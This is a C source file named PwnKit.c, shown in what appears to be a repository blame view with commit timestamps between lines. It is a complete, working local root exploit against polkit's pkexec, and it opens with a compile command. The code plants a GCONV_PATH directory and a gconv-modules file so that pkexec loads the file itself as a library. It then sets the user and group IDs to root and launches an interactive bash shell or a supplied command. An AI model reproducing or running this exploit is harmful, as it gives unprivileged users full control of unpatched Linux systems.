PwnKit/PwnKit.c

142 lines
3.0 KiB
C
Raw Normal View History

// gcc -shared PwnKit.c -o PwnKit -Wl,-e,entry -fPIC
2022-01-26 17:28:42 +03:00
#define _XOPEN_SOURCE 700
#define _GNU_SOURCE
#include <dirent.h>
#include <errno.h>
#include <fcntl.h>
#include <stdio.h>
#include <string.h>
#include <unistd.h>
#include <stdlib.h>
2022-01-26 17:28:42 +03:00
#include <ftw.h>
#include <sys/wait.h>
2022-01-26 17:28:42 +03:00
#include <sys/stat.h>
#include <sys/types.h>
#include <sys/signal.h>
2022-01-26 17:28:42 +03:00
const char service_interp[] __attribute__((section(".interp"))) = "/lib64/ld-linux-x86-64.so.2";
int unlink_cb(const char *fpath, const struct stat *sb, int typeflag, struct FTW *ftwbuf)
{
int rv = remove(fpath);
if (rv)
perror(fpath);
return rv;
}
int rmrf(char *path)
{
return nftw(path, unlink_cb, 64, FTW_DEPTH | FTW_PHYS);
}
void entry()
2022-01-26 17:28:42 +03:00
{
int res;
2022-01-26 17:28:42 +03:00
FILE *fp;
char buf[PATH_MAX];
int pipefd[2];
char *cmd;
int argc;
char **argv;
register unsigned long *rsp asm ("rbp");
argc = *(int *)(rsp+1);
argv = (char **)rsp+2;
2022-01-26 17:28:42 +03:00
res = mkdir("GCONV_PATH=.", 0777);
if (res == -1 && errno != EEXIST)
{
perror("Failed to create directory");
_exit(1);
}
res = creat("GCONV_PATH=./.pkexec", 0777);
2022-01-26 17:28:42 +03:00
res = mkdir(".pkexec", 0777);
2022-01-26 17:28:42 +03:00
fp = fopen(".pkexec/gconv-modules", "w+");
2022-01-26 17:28:42 +03:00
if (fp == NULL)
{
perror("Failed to open output file");
_exit(1);
}
if (fputs("module UTF-8// PKEXEC// pkexec 2", fp) < 0)
{
perror("Failed to write config");
_exit(1);
}
fclose(fp);
buf[readlink("/proc/self/exe", buf, sizeof(buf))] = 0;
res = symlink(buf, ".pkexec/pkexec.so");
2022-01-26 17:28:42 +03:00
if (res == -1)
{
perror("Failed to copy file");
_exit(1);
}
pipe(pipefd);
if (fork() == 0)
{
close(pipefd[1]);
buf[read(pipefd[0], buf, sizeof(buf)-1)] = 0;
if (strstr(buf, "pkexec --version") == buf) {
// Cleanup for situations where the exploit didn't work
puts("Exploit failed. Target is most likely patched.");
rmrf("GCONV_PATH=.");
rmrf(".pkexec");
}
_exit(0);
}
2022-01-26 17:28:42 +03:00
close(pipefd[0]);
dup2(pipefd[1], 2);
close(pipefd[1]);
cmd = NULL;
if (argc > 1) {
cmd = memcpy(argv[1]-4, "CMD=", 4);
}
char *args[] = {NULL};
char *env[] = {".pkexec", "PATH=GCONV_PATH=.", "CHARSET=pkexec", "SHELL=pkexec", cmd, NULL};
execve("/usr/bin/pkexec", args, env);
// In case pkexec is not in /usr/bin/
execvpe("pkexec", args, env);
2022-01-26 17:28:42 +03:00
_exit(0);
2022-01-26 17:28:42 +03:00
}
void gconv() {}
void gconv_init()
{
close(2);
dup2(1, 2);
char *cmd = getenv("CMD");
2022-01-26 17:28:42 +03:00
setresuid(0, 0, 0);
setresgid(0, 0, 0);
rmrf("GCONV_PATH=.");
rmrf(".pkexec");
2022-01-26 17:28:42 +03:00
if (cmd) {
// In case interactive bash was not possible
execve("/bin/sh", (char *[]){"/bin/sh", "-c", cmd, NULL}, NULL);
} else {
// Try interactive bash first
execve("/bin/bash", (char *[]){"-i", NULL}, NULL);
2022-01-26 17:28:42 +03:00
// In case interactive bash was not possible
execve("/bin/sh", (char *[]){"/bin/sh", NULL}, NULL);
}
2022-01-26 17:28:42 +03:00
_exit(0);
}